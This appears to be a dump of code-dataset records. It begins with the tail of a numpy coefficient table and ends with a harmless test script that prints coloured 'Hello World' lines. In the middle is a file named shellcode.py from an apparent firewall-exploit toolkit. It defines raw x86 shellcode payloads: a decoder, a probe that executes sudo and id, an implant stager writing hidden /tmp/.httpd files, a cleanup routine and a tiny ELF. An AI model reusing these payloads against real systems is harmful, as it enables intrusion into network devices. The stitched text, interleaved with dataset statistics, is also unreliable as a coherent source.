10:np.array([-0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05 , -0.05555556, -0.0625 , -0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.0625 , 0.05555556, 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05 , 0.05555556, 0.0625 , 0.07142857, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333, -0.07142857, -0.0625 , -0.05555556]), } X_COEFFS = { 1:np.array([-0.5, 0. , 0.5, 0.5, 0.5, 0. , -0.5, -0.5]), 2:np.array([-0.25, -0.5 , 0. , 0.5 , 0.25, 0.25, 0.25, 0.25, 0.25, 0.5 , 0. , -0.5 , -0.25, -0.25, -0.25, -0.25]), 3:np.array([-0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.16666667, -0.16666667, -0.16666667, -0.16666667, -0.16666667]), 4:np.array([-0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.125 ]), 5:np.array([-0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 ]), 6:np.array([-0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333]), 7:np.array([-0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857]), 8:np.array([-0.0625 , -0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.07142857, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333, -0.07142857, -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 ]), 9:np.array([-0.05555556, -0.0625 , -0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.0625 , 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.0625 , 0.07142857, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333, -0.07142857, -0.0625 , -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556]), 10:np.array([-0.05 , -0.05555556, -0.0625 , -0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.0625 , 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a241e313eb7b7a223a52b4f346040f6a9ab7337c

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py

Python

TAO/Firewall/EXPLOITS/ELBO/shellcode.py

dendisuhubdy/grokmachine

120a21a25c2730ed356739231ec8b99fc0575c8b

[ "BSD-3-Clause" ]

46

2017-05-15T11:15:08.000Z

2018-07-02T03:32:52.000Z

TAO/Firewall/EXPLOITS/ELBO/shellcode.py

dendisuhubdy/grokmachine

120a21a25c2730ed356739231ec8b99fc0575c8b

[ "BSD-3-Clause" ]

null

TAO/Firewall/EXPLOITS/ELBO/shellcode.py

dendisuhubdy/grokmachine

120a21a25c2730ed356739231ec8b99fc0575c8b

[ "BSD-3-Clause" ]

24

2017-05-17T03:26:17.000Z

2018-07-09T07:00:50.000Z

finder = '\xeb\x03\x5f\xff\xe7\xe8\xf8\xff\xff\xff' decoder = '\xb8\x89\xaa\xaa\xaa\x35\xaa\xaa\xaa\xaa\x01\xc7\x89\xfe\xb9\xef\xbe\xad\xde\x81\xf1\xaa\xaa\xaa\xaa\x8a\x1f\x80\xf3\xaa\x88\x1f\x47\xe2\xf6' execute_post = '\xe8\x00\x00\x00\x00\x5d\xbe\xef\xbe\xad\xde\x89\xf7\x89\xec\x29\xf4\xb8\x03\x00\x00\x00\xbb\x00\x00\x00\x00\x89\xe1\x89\xf2\xcd\x80\x3d\xff\xff\xff\xff\x75\x05\xe9\x18\x00\x00\x00\x01\xc4\x29\xc6\x74\x06\x85\xc0\x75\xda\xeb\xef\x8d\x95\x3d\xfc\xff\xff\x89\xec\x29\xfc\xff\xe4\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80' probe = '\xeb\x34\x2f\x74\x6f\x73\x2f\x62\x69\x6e\x2f\x73\x75\x64\x6f\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x0a\x0a\xe8\x00\x00\x00\x00\x5d\x52\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x8d\x4d\xe1\xba\x1a\x00\x00\x00\xcd\x80\xb8\x31\x00\x00\x00\xcd\x80\x89\xc6\xb8\xbe\xba\xed\xc0\xe8\x92\x00\x00\x00\x58\xe8\x8c\x00\x00\x00\x89\xf0\xe8\x85\x00\x00\x00\x85\xf6\x75\x0f\xb8\xd0\x00\x05\xb0\xe8\x77\x00\x00\x00\xe9\x69\x00\x00\x00\x81\xec\x00\x10\x00\x00\xb8\x6a\x00\x00\x00\x8d\x5d\xc7\x89\xe1\xcd\x80\x66\x8b\x44\x24\x08\x66\x25\x05\x08\x66\x3d\x05\x08\x74\x0f\xb8\xd0\x00\xd5\xba\xe8\x47\x00\x00\x00\xe9\x39\x00\x00\x00\xb8\xd0\x50\x0d\x90\xe8\x38\x00\x00\x00\xb8\x3f\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x31\xd2\x8d\x5d\xc7\x8d\x4d\xd5\x52\x51\x53\x89\xe1\xcd\x80\xb8\xec\xe7\xad\xba\xe8\x09\x00\x00\x00\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80\x50\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x04\x00\x00\x00\xcd\x80\x58\xc3' nopen = '\xeb\x7f\xef\xbe\xad\xde\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x64\x61\x74\x00\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x62\x61\x6b\x00\x74\x6f\x73\x5f\x63\x6f\x6e\x66\x69\x67\x64\x00\x2f\x74\x6f\x73\x2f\x62\x69\x6e\x2f\x73\x75\x64\x6f\x00\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x0a\x0a\xe8\x00\x00\x00\x00\x5d\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x8d\x4d\xe1\xba\x1a\x00\x00\x00\xcd\x80\xb8\xef\xbe\xad\xde\xe8\x61\x01\x00\x00\xb8\x76\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x8d\x5d\xa7\x8b\x75\x80\xe8\x85\x00\x00\x00\xb8\xbe\xba\xed\xc0\xe8\x40\x01\x00\x00\xb8\x76\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x31\x00\x00\x00\xcd\x80\x85\xc0\x74\x3b\x8d\x5d\xb7\x8b\xb5\x7c\xff\xff\xff\xe8\x56\x00\x00\x00\x31\xd2\x52\x8d\x45\xc7\x8d\x4d\x84\x8d\x5d\xa7\x50\x51\x53\x8d\x4d\xb7\x8d\x5d\xc7\x51\x53\x89\xe1\x8d\x5d\xd3\xb8\x0b\x00\x00\x00\xcd\x80\xb8\x07\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xc0\x8d\x55\x84\x50\x52\x89\xe2\x8d\x4d\xc7\x50\x51\x89\xe1\x8d\x5d\xa7\xb8\x0b\x00\x00\x00\xcd\x80\xb8\x05\x00\x00\x00\xe8\xca\x00\x00\x00\xe8\xdb\x00\x00\x00\x55\x81\xec\x00\x10\x00\x00\xb8\x05\x00\x00\x00\xb9\x41\x02\x00\x00\xba\xc0\x01\x00\x00\xcd\x80\x3d\xff\xff\xff\xff\x75\x0f\xb8\x04\x00\x00\x00\xe8\x9c\x00\x00\x00\xe8\xad\x00\x00\x00\x89\xc7\x81\xfe\x00\x10\x00\x00\x7d\x07\x89\xf2\xe9\x05\x00\x00\x00\xba\x00\x10\x00\x00\xb8\x03\x00\x00\x00\xbb\x00\x00\x00\x00\x89\xe1\xcd\x80\x3d\xff\xff\xff\xff\x75\x0f\xb8\x01\x00\x00\x00\xe8\x62\x00\x00\x00\xe8\x73\x00\x00\x00\x29\xc6\x89\xc5\x89\xc2\xb8\x04\x00\x00\x00\x89\xfb\x89\xe1\xcd\x80\x3d\xff\xff\xff\xff\x75\x0f\xb8\x02\x00\x00\x00\xe8\x3b\x00\x00\x00\xe8\x4c\x00\x00\x00\x85\xf6\x74\x13\x85\xed\x75\x99\xb8\x03\x00\x00\x00\xe8\x24\x00\x00\x00\xe8\x35\x00\x00\x00\xb8\x06\x00\x00\x00\x89\xfb\xcd\x80\x85\xc0\x74\x0a\xb8\x06\x00\x00\x00\xe8\x08\x00\x00\x00\x81\xc4\x00\x10\x00\x00\x5d\xc3\x50\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x04\x00\x00\x00\xcd\x80\x58\xc3\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80' cleanup = '\xeb\x3a\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x64\x61\x74\x00\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x62\x61\x6b\x00\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x0a\x0a\xe8\x00\x00\x00\x00\x5d\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x8d\x4d\xe1\xba\x1a\x00\x00\x00\xcd\x80\x8d\x5d\xc1\xbf\x00\x00\x01\x00\xe8\x12\x00\x00\x00\x8d\x5d\xd1\xbf\x00\x00\x02\x00\xe8\x05\x00\x00\x00\xe9\x71\x00\x00\x00\x89\xde\x81\xec\x00\x10\x00\x00\xb8\x6a\x00\x00\x00\x89\xe1\xcd\x80\x81\xc4\x00\x10\x00\x00\x85\xc0\x74\x0d\xb8\x01\x00\x00\x00\x31\xf8\xe8\x34\x00\x00\x00\xc3\xb8\x00\x01\x00\x00\x31\xf8\xe8\x27\x00\x00\x00\xb8\x0a\x00\x00\x00\x89\xf3\xcd\x80\x85\xc0\x74\x0d\xb8\x02\x00\x00\x00\x31\xf8\xe8\x0e\x00\x00\x00\xc3\xb8\x00\x02\x00\x00\x31\xf8\xe8\x01\x00\x00\x00\xc3\x50\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x04\x00\x00\x00\xcd\x80\x58\xc3\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80' auth_id = '\x31\xc0\xb0\x03\x31\xdb\x89\xe1\x31\xd2\xb6\xf0\xb2\x0d\xcd\x80\x3d\xff\xff\xff\xff\x75\x07\x31\xc0\x40\x31\xdb\xcd\x80\xff\xe4' tiny_exec = '\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\x76\x00\x00\x00\x76\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5d\x5d\x31\xed\x5b\x5a\x58\x55\x52\x89\xe2\x55\x50\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60\x00\x00\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x76\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

663.777778

2,206

0.746401

1,478

5,974

3.014885

0.115697

0.504937

0.500898

0.366248

0.625449

0.543986

0.502244

0.461176

0.434246

0.405969

0

0.382185

0.004017

5,974

8

2,207

746.75

0.366723

0

0.875

0.982256

0

1

0

1

0

false

0

null

1

0

1

0

1

0

1

null

1

0

12

a2490f0aed4db7425874afc5fc0cf2373693a896

32,066

py

Python

tests/test_4.py

landonb/ansi-escape-room

805687fa1277c2ca5a5378e385926abbe07e7885

[ "MIT" ]

null

tests/test_4.py

landonb/ansi-escape-room

805687fa1277c2ca5a5378e385926abbe07e7885

[ "MIT" ]

null

tests/test_4.py

landonb/ansi-escape-room

805687fa1277c2ca5a5378e385926abbe07e7885

[ "MIT" ]

1

2019-02-21T05:41:21.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- """test foreground and background colors""" from ansi_escape_room import fore, back, style def main(): print(fore.BLACK + "Hello World !!!" + style.RESET) print(fore.RED + "Hello World !!!" + style.RESET) print(fore.GREEN + "Hello World !!!" + style.RESET) print(fore.YELLOW + "Hello World !!!" + style.RESET) print(fore.BLUE + "Hello World !!!" + style.RESET) print(fore.MAGENTA + "Hello World !!!" + style.RESET) print(fore.CYAN + "Hello World !!!" + style.RESET) print(fore.LIGHT_GRAY + "Hello World !!!" + style.RESET) print(fore.DARK_GRAY + "Hello World !!!" + style.RESET) print(fore.LIGHT_RED + "Hello World !!!" + style.RESET) print(fore.LIGHT_GREEN + "Hello World !!!" + style.RESET) print(fore.LIGHT_YELLOW + "Hello World !!!" + style.RESET) print(fore.LIGHT_BLUE + "Hello World !!!" + style.RESET) print(fore.LIGHT_MAGENTA + "Hello World !!!" + style.RESET) print(fore.LIGHT_CYAN + "Hello World !!!" + style.RESET) print(fore.WHITE + "Hello World !!!" + style.RESET) print(fore.GREY_0 + "Hello World !!!" + style.RESET) print(fore.NAVY_BLUE + "Hello World !!!" + style.RESET) print(fore.DARK_BLUE + "Hello World !!!" + style.RESET) print(fore.BLUE_3A + "Hello World !!!" + style.RESET) print(fore.BLUE_3B + "Hello World !!!" + style.RESET) print(fore.BLUE_1 + "Hello World !!!" + style.RESET) print(fore.DARK_GREEN + "Hello World !!!" + style.RESET) print(fore.DEEP_SKY_BLUE_4A + "Hello World !!!" + style.RESET) print(fore.DEEP_SKY_BLUE_4B + "Hello World !!!" + style.RESET) print(fore.DEEP_SKY_BLUE_4C + "Hello World !!!" + style.RESET) print(fore.DODGER_BLUE_3 + "Hello World !!!" + style.RESET) print(fore.DODGER_BLUE_2 + "Hello World !!!" + style.RESET) print(fore.GREEN_4 + "Hello World !!!" + style.RESET) print(fore.SPRING_GREEN_4 + "Hello World !!!" + style.RESET) print(fore.TURQUOISE_4 + "Hello World !!!" + style.RESET) print(fore.DEEP_SKY_BLUE_3A + "Hello World !!!" + style.RESET) print(fore.DEEP_SKY_BLUE_3B + "Hello World !!!" + style.RESET) print(fore.DODGER_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.GREEN_3A + "Hello World !!!" + style.RESET) print(fore.SPRING_GREEN_3A + "Hello World !!!" + style.RESET) print(fore.DARK_CYAN + "Hello World !!!" + style.RESET) print(fore.LIGHT_SEA_GREEN + "Hello World !!!" + style.RESET) print(fore.DEEP_SKY_BLUE_2 + "Hello World !!!" + style.RESET) print(fore.DEEP_SKY_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.GREEN_3B + "Hello World !!!" + style.RESET) print(fore.SPRING_GREEN_3B + "Hello World !!!" + style.RESET) print(fore.SPRING_GREEN_2A + "Hello World !!!" + style.RESET) print(fore.CYAN_3 + "Hello World !!!" + style.RESET) print(fore.DARK_TURQUOISE + "Hello World !!!" + style.RESET) print(fore.TURQUOISE_2 + "Hello World !!!" + style.RESET) print(fore.GREEN_1 + "Hello World !!!" + style.RESET) print(fore.SPRING_GREEN_2B + "Hello World !!!" + style.RESET) print(fore.SPRING_GREEN_1 + "Hello World !!!" + style.RESET) print(fore.MEDIUM_SPRING_GREEN + "Hello World !!!" + style.RESET) print(fore.CYAN_2 + "Hello World !!!" + style.RESET) print(fore.CYAN_1 + "Hello World !!!" + style.RESET) print(fore.DARK_RED_1 + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_4A + "Hello World !!!" + style.RESET) print(fore.PURPLE_4A + "Hello World !!!" + style.RESET) print(fore.PURPLE_4B + "Hello World !!!" + style.RESET) print(fore.PURPLE_3 + "Hello World !!!" + style.RESET) print(fore.BLUE_VIOLET + "Hello World !!!" + style.RESET) print(fore.ORANGE_4A + "Hello World !!!" + style.RESET) print(fore.GREY_37 + "Hello World !!!" + style.RESET) print(fore.MEDIUM_PURPLE_4 + "Hello World !!!" + style.RESET) print(fore.SLATE_BLUE_3A + "Hello World !!!" + style.RESET) print(fore.SLATE_BLUE_3B + "Hello World !!!" + style.RESET) print(fore.ROYAL_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.CHARTREUSE_4 + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_4A + "Hello World !!!" + style.RESET) print(fore.PALE_TURQUOISE_4 + "Hello World !!!" + style.RESET) print(fore.STEEL_BLUE + "Hello World !!!" + style.RESET) print(fore.STEEL_BLUE_3 + "Hello World !!!" + style.RESET) print(fore.CORNFLOWER_BLUE + "Hello World !!!" + style.RESET) print(fore.CHARTREUSE_3A + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_4B + "Hello World !!!" + style.RESET) print(fore.CADET_BLUE_2 + "Hello World !!!" + style.RESET) print(fore.CADET_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.SKY_BLUE_3 + "Hello World !!!" + style.RESET) print(fore.STEEL_BLUE_1A + "Hello World !!!" + style.RESET) print(fore.CHARTREUSE_3B + "Hello World !!!" + style.RESET) print(fore.PALE_GREEN_3A + "Hello World !!!" + style.RESET) print(fore.SEA_GREEN_3 + "Hello World !!!" + style.RESET) print(fore.AQUAMARINE_3 + "Hello World !!!" + style.RESET) print(fore.MEDIUM_TURQUOISE + "Hello World !!!" + style.RESET) print(fore.STEEL_BLUE_1B + "Hello World !!!" + style.RESET) print(fore.CHARTREUSE_2A + "Hello World !!!" + style.RESET) print(fore.SEA_GREEN_2 + "Hello World !!!" + style.RESET) print(fore.SEA_GREEN_1A + "Hello World !!!" + style.RESET) print(fore.SEA_GREEN_1B + "Hello World !!!" + style.RESET) print(fore.AQUAMARINE_1A + "Hello World !!!" + style.RESET) print(fore.DARK_SLATE_GRAY_2 + "Hello World !!!" + style.RESET) print(fore.DARK_RED_2 + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_4B + "Hello World !!!" + style.RESET) print(fore.DARK_MAGENTA_1 + "Hello World !!!" + style.RESET) print(fore.DARK_MAGENTA_2 + "Hello World !!!" + style.RESET) print(fore.DARK_VIOLET_1A + "Hello World !!!" + style.RESET) print(fore.PURPLE_1A + "Hello World !!!" + style.RESET) print(fore.ORANGE_4B + "Hello World !!!" + style.RESET) print(fore.LIGHT_PINK_4 + "Hello World !!!" + style.RESET) print(fore.PLUM_4 + "Hello World !!!" + style.RESET) print(fore.MEDIUM_PURPLE_3A + "Hello World !!!" + style.RESET) print(fore.MEDIUM_PURPLE_3B + "Hello World !!!" + style.RESET) print(fore.SLATE_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.YELLOW_4A + "Hello World !!!" + style.RESET) print(fore.WHEAT_4 + "Hello World !!!" + style.RESET) print(fore.GREY_53 + "Hello World !!!" + style.RESET) print(fore.LIGHT_SLATE_GREY + "Hello World !!!" + style.RESET) print(fore.MEDIUM_PURPLE + "Hello World !!!" + style.RESET) print(fore.LIGHT_SLATE_BLUE + "Hello World !!!" + style.RESET) print(fore.YELLOW_4B + "Hello World !!!" + style.RESET) print(fore.DARK_OLIVE_GREEN_3A + "Hello World !!!" + style.RESET) print(fore.DARK_GREEN_SEA + "Hello World !!!" + style.RESET) print(fore.LIGHT_SKY_BLUE_3A + "Hello World !!!" + style.RESET) print(fore.LIGHT_SKY_BLUE_3B + "Hello World !!!" + style.RESET) print(fore.SKY_BLUE_2 + "Hello World !!!" + style.RESET) print(fore.CHARTREUSE_2B + "Hello World !!!" + style.RESET) print(fore.DARK_OLIVE_GREEN_3B + "Hello World !!!" + style.RESET) print(fore.PALE_GREEN_3B + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_3A + "Hello World !!!" + style.RESET) print(fore.DARK_SLATE_GRAY_3 + "Hello World !!!" + style.RESET) print(fore.SKY_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.CHARTREUSE_1 + "Hello World !!!" + style.RESET) print(fore.LIGHT_GREEN_2 + "Hello World !!!" + style.RESET) print(fore.LIGHT_GREEN_3 + "Hello World !!!" + style.RESET) print(fore.PALE_GREEN_1A + "Hello World !!!" + style.RESET) print(fore.AQUAMARINE_1B + "Hello World !!!" + style.RESET) print(fore.DARK_SLATE_GRAY_1 + "Hello World !!!" + style.RESET) print(fore.RED_3A + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_4C + "Hello World !!!" + style.RESET) print(fore.MEDIUM_VIOLET_RED + "Hello World !!!" + style.RESET) print(fore.MAGENTA_3A + "Hello World !!!" + style.RESET) print(fore.DARK_VIOLET_1B + "Hello World !!!" + style.RESET) print(fore.PURPLE_1B + "Hello World !!!" + style.RESET) print(fore.DARK_ORANGE_3A + "Hello World !!!" + style.RESET) print(fore.INDIAN_RED_1A + "Hello World !!!" + style.RESET) print(fore.HOT_PINK_3A + "Hello World !!!" + style.RESET) print(fore.MEDIUM_ORCHID_3 + "Hello World !!!" + style.RESET) print(fore.MEDIUM_ORCHID + "Hello World !!!" + style.RESET) print(fore.MEDIUM_PURPLE_2A + "Hello World !!!" + style.RESET) print(fore.DARK_GOLDENROD + "Hello World !!!" + style.RESET) print(fore.LIGHT_SALMON_3A + "Hello World !!!" + style.RESET) print(fore.ROSY_BROWN + "Hello World !!!" + style.RESET) print(fore.GREY_63 + "Hello World !!!" + style.RESET) print(fore.MEDIUM_PURPLE_2B + "Hello World !!!" + style.RESET) print(fore.MEDIUM_PURPLE_1 + "Hello World !!!" + style.RESET) print(fore.GOLD_3A + "Hello World !!!" + style.RESET) print(fore.DARK_KHAKI + "Hello World !!!" + style.RESET) print(fore.NAVAJO_WHITE_3 + "Hello World !!!" + style.RESET) print(fore.GREY_69 + "Hello World !!!" + style.RESET) print(fore.LIGHT_STEEL_BLUE_3 + "Hello World !!!" + style.RESET) print(fore.LIGHT_STEEL_BLUE + "Hello World !!!" + style.RESET) print(fore.YELLOW_3A + "Hello World !!!" + style.RESET) print(fore.DARK_OLIVE_GREEN_3 + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_3B + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_2 + "Hello World !!!" + style.RESET) print(fore.LIGHT_CYAN_3 + "Hello World !!!" + style.RESET) print(fore.LIGHT_SKY_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.GREEN_YELLOW + "Hello World !!!" + style.RESET) print(fore.DARK_OLIVE_GREEN_2 + "Hello World !!!" + style.RESET) print(fore.PALE_GREEN_1B + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_5B + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_5A + "Hello World !!!" + style.RESET) print(fore.PALE_TURQUOISE_1 + "Hello World !!!" + style.RESET) print(fore.RED_3B + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_3A + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_3B + "Hello World !!!" + style.RESET) print(fore.MAGENTA_3B + "Hello World !!!" + style.RESET) print(fore.MAGENTA_3C + "Hello World !!!" + style.RESET) print(fore.MAGENTA_2A + "Hello World !!!" + style.RESET) print(fore.DARK_ORANGE_3B + "Hello World !!!" + style.RESET) print(fore.INDIAN_RED_1B + "Hello World !!!" + style.RESET) print(fore.HOT_PINK_3B + "Hello World !!!" + style.RESET) print(fore.HOT_PINK_2 + "Hello World !!!" + style.RESET) print(fore.ORCHID + "Hello World !!!" + style.RESET) print(fore.MEDIUM_ORCHID_1A + "Hello World !!!" + style.RESET) print(fore.ORANGE_3 + "Hello World !!!" + style.RESET) print(fore.LIGHT_SALMON_3B + "Hello World !!!" + style.RESET) print(fore.LIGHT_PINK_3 + "Hello World !!!" + style.RESET) print(fore.PINK_3 + "Hello World !!!" + style.RESET) print(fore.PLUM_3 + "Hello World !!!" + style.RESET) print(fore.VIOLET + "Hello World !!!" + style.RESET) print(fore.GOLD_3B + "Hello World !!!" + style.RESET) print(fore.LIGHT_GOLDENROD_3 + "Hello World !!!" + style.RESET) print(fore.TAN + "Hello World !!!" + style.RESET) print(fore.MISTY_ROSE_3 + "Hello World !!!" + style.RESET) print(fore.THISTLE_3 + "Hello World !!!" + style.RESET) print(fore.PLUM_2 + "Hello World !!!" + style.RESET) print(fore.YELLOW_3B + "Hello World !!!" + style.RESET) print(fore.KHAKI_3 + "Hello World !!!" + style.RESET) print(fore.LIGHT_GOLDENROD_2A + "Hello World !!!" + style.RESET) print(fore.LIGHT_YELLOW_3 + "Hello World !!!" + style.RESET) print(fore.GREY_84 + "Hello World !!!" + style.RESET) print(fore.LIGHT_STEEL_BLUE_1 + "Hello World !!!" + style.RESET) print(fore.YELLOW_2 + "Hello World !!!" + style.RESET) 